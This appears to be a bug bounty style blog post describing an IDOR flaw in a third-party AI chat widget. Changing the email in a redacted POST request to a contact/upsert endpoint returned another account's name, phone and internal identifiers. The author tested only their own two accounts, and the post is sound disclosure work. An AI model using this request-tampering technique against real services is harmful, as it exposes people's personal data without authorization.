IDOR in a Third-Party AI Chat Widget: Sensitive Data Exposure

I was testing a web platform when I noticed something interesting in Burp Suite. The dashboard had an AI chat widget, and it was sending requests to a different domain instead of the platform's main API.

I decided to take a closer look.

Finding the issue

I changed my profile name to trigger a request and found this:

POST /backend/widget/contact/upsert HTTP/2
Host: [redacted]
Content-Type: application/json
X-Bot-Token: [redacted]
{
  "name": "owners",
  "email": "my-email@example.com",
  "phone": "...",
  "external_id": "...",
  "customData": {
    "role": "Owner",
    "organizationToken": "org_...",
    "userToken": "user_..."
  }
}

POST /backend/widget/contact/upsert HTTP/2
Host: [redacted]
Content-Type: application/json
X-Bot-Token: [redacted]
{
  "name": "owners",
  "email": "my-email@example.com",
  "phone": "...",
  "external_id": "...",
  "customData": {
    "role": "Owner",
    "organizationToken": "org_...",
    "userToken": "user_..."
  }
}

The endpoint was called contact/upsert, and the request included an email address along with other user details.

I wanted to see what would happen if I changed the email.

Testing it

I removed the extra fields and sent a request with the email address of a second account I controlled:

POST /backend/widget/contact/upsert HTTP/2
Host: [redacted]
Content-Type: application/json
X-Bot-Token: [redacted]
{
  "email": "my-second-email@example.com"
}

POST /backend/widget/contact/upsert HTTP/2
Host: [redacted]
Content-Type: application/json
X-Bot-Token: [redacted]
{
  "email": "my-second-email@example.com"
}

The API returned the contact record for that email.

The response included the name, phone number, role, and internal user and organization identifiers.

That was the issue. The API returned another account's contact information without appearing to check whether I was authorized to access it.

I tested this with two accounts I controlled. I didn't access anyone else's data.

Impact

I confirmed that the behavior worked between two accounts I controlled. I didn't test it across other users, so I can't say how many accounts might be affected.

If the same behavior applied to other accounts, someone who knew another user's email address could potentially retrieve their contact information without needing the victim to do anything.

Depending on the records returned, this could expose personal information and internal account metadata.

Final thoughts

Honestly, this is why I like checking the requests made by third-party integrations. It's easy to focus on the main application's API and overlook everything else running in the background.

Chat widgets, support tools, analytics services — they all make requests somewhere. It's worth checking what data they're sending and whether the APIs behind them are enforcing proper authorization.

Sometimes the interesting bugs aren't in the main application at all.

That's it for this one. You can connect with me on LinkedIn.